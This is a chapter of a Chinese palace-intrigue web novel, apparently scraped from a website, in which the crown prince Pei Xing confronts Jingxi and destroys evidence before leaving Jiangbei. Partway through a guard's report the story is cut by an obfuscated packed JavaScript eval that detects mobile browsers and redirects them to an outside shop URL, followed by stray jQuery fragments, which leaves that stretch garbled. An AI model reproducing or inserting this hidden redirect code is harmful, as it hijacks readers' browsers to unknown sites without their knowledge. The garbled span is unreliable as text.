“你跟他,很是不一般?”太子裴行的声音响起,他目光犀利,打量着景熙,过了一会儿后,他的声音又冷淡起来,“三皇弟可有大碍?”

    景熙本不想理,但听到对方在关心裴郁,强压着心里的烦躁,还是行礼,“三皇子并无大碍,多谢太子殿下关心。”

    裴行看着眼前对自己疏离的女子,眼皮子动了动,眼里带着居高临下的审视,他像是意识到自己目光,眨了下眼,目光变得平静起来,语气带着点威胁的意味,“就算你是六品官员嫡女,也命如纸薄。”

    景熙看着他,身影与第二世丈夫的身影重合,虽是同一人,但因她身份不同,看到的人也不同。

    她嘴角上扬,放肆地笑出声来。

    “你笑什么?”裴行皱起眉头,不解的看着她,对方笑声很是肆意,不知为何,他突然内心有点发虚,总感觉对方知道点什么。

    “殿下,我知道,像你们这种阶层的人,杀我如同杀蝼蚁,但是……”她挑眉,声音很慢,清晰地传进裴行的耳中,“我也有你的命脉,我死了不重要,但是殿下可就……”

    话还没说完,景熙又突然大笑起来,这声音让裴行的内心开始慌张起来,一步一步地击溃对方心里防线。

    “孤会怎样?”

    景熙嘴唇动着,但是没有出声,他看到对方嘴型说出来四个字:魏氏父子。

    “呵呵。”景熙捂着嘴,挑衅的看着裴行,捂着嘴离开。

    她总算明白了,为何太子会不远万里的来到江北,阻止裴郁调查。

    她进了自己的房间,将门轻轻关上,嘴角掩藏不住得意,这一幕又恰好的被裴行捕捉到了。

    “嘭。”

    房门被关上。

    原来如此。

    太子裴行的命脉是科举舞弊,她记得,换人名单上就有魏氏,这件事一旦被发现,太子裴行将永无翻身之地。

    也难怪,他会冒着欺君的风险,来到江北。

    她对裴行说“魏氏父子”,不管对方有没有猜到自己的意思,这个名字都会像一颗种子一样,深深的埋藏在他的内心,多年以后,无论当时局面变成什么样,都会想起今日,会意识到,自己输给了一个不起眼的官员之女。

    是的没错,今日景熙与裴行的争锋,是她赢了。

    天色已晚,景熙上了床榻,房门外的裴行看着紧闭的门,脑海里想着“魏氏父子”是什么意思。

    忽然间,他瞳孔一缩,整个人顿时僵住。

    怎么可能?

    他双手握拳,使劲的捏着,像是发泄一样,指关节泛红起来。

    他从未在京城见过此人,应当……不会猜到自己的目的。

    他一伸手,暗卫就不知从哪里出来,毕恭毕敬地蹲在他面前。

    “将她和另外两个陌生人的身份,全部查清楚。”

    “遵命。”暗卫又迅速消失。

    夜黑风高,江北县令被捕,百姓惶惶过日,上面来了位正直的贵人,彻查冤假错案,给这个衰败的江北,带来了一丝希望。

    他们开始在家祈祷,希望这个贵人能在江北待的时间长些,再长些,最好能一直待着,这样他们就可以远离被欺压的痛苦日子。

    卯时,那位贵人应当带着随从,去往衙门为百姓伸张正义,有人好奇贵人模样,便早早的待在客栈门口,想目睹尊荣,却迟迟不见有人出来。

    “贵人怎么还不出来?”一个小伙对着陪同的人说着。

    “不知道,再等一个时辰,咱们就去上工。”另一个人回答着。

    又不知道过了多久,二人在门口等得口干舌燥,刚准备离开,就看到一个穿着华丽的男子从客栈里出来,他长的与贵人有七八分相似,却气质截然不同。

    他们这群平民,虽然嘴上“大人”,“贵人”地喊着,但贵人对他们很是亲近宽和,但眼前这位刚出来的……肉眼就能看出对方一副高高在上的模样。

    “不是贵人,走了走了。”其中一个人挥挥手,从裴行面前失望的离开。

    裴行看着眼前的几人,不仅无视自己,还带着点失落的情绪,闷闷不乐的从自己面前离开,顿时一股气堵在胸口。

    这群人刚走,自己的暗卫就过来汇报,“主子。”

    他正了正自己的神色,“什么?”

    “那时屋中有两位女子,与您对峙的名为景熙,是阳城县令之女,另一位是百花楼歌女,名为飞莺,飞莺曾是江北上任县令之女,后

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968750|214613||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    魏县令上任,将她送到了百花楼里,屋外的女子身份不明,在江北以盗窃为生,后遇到三皇子和景熙,被赐名为千重。”

    音落,裴行看着地面,正在消化着信息,许久他才缓缓开口,“景熙和裴郁是什么时候认识的?二人是什么关系?”

    “属下无能。”暗卫将头低的更低了,“属下只查到景熙是阳城方家二公子妻子,未能查到她与三皇子殿下之间的关系。”

    “废物!”裴行用力挥着袖子,发泄着心中的怒火,没过多久,又一个暗卫过来,他从袖子里掏出一沓纸,递给了裴行,“主子,都处理干净了。”

    看到纸上的内容,他的面色缓和了些,“把它烧掉。”

    他双手交叉环胸,嘴角上扬,一副得意的样子,“回京。”

    等这沓纸被烧成灰烬,江北就与他彻底无关了。

    他离开京城不能太久,不然皇帝会起疑心,皇帝老了,脑子也不灵光,朝中有一半的大臣都是他的人,随便糊弄糊弄就过去了。

    太子裴行一行人乌泱泱的离开了。

    此时,景熙则端着草药汤,坐在裴郁的身旁,一勺一勺的喂着对方。

    门外响起有规律的敲门声。

    景熙手中的动作没有停下,喊着:“进。”

    木禾风尘仆仆的进来,“殿下,属下发现太子获得了一沓纸,看起来像是信封,木云在暗中跟着拿信封的暗卫,殿下可是要……”

    木禾话没有说完,而是观察着裴郁的脸色,听到榻上传来“嗯”的一声,她行礼,“属下明白。”然后急匆匆离开。

    千重站在门口,看见木禾出来,犹豫片刻后也进去,“姑娘,飞莺过来了,想见姑娘一面。”

    “嗯,我知道了。”景熙又舀起药汤,将勺子放在裴郁的嘴边。

    裴郁乖乖的将药喝下去,药的苦味弥漫在鼻尖,他眉头没有皱一下,端庄斯文的喝下去,仿佛是琼浆玉液似的。

    等药汤见底,景熙将碗放在桌子上,她看着千重还待在原地,没有生气,问道,“还有事?”

    “姑娘。”千重犹豫的唤了一声,“我知道姑娘身份神秘,飞莺曾多次向我打听姑娘和公子身份,这些日子我也很是好奇……”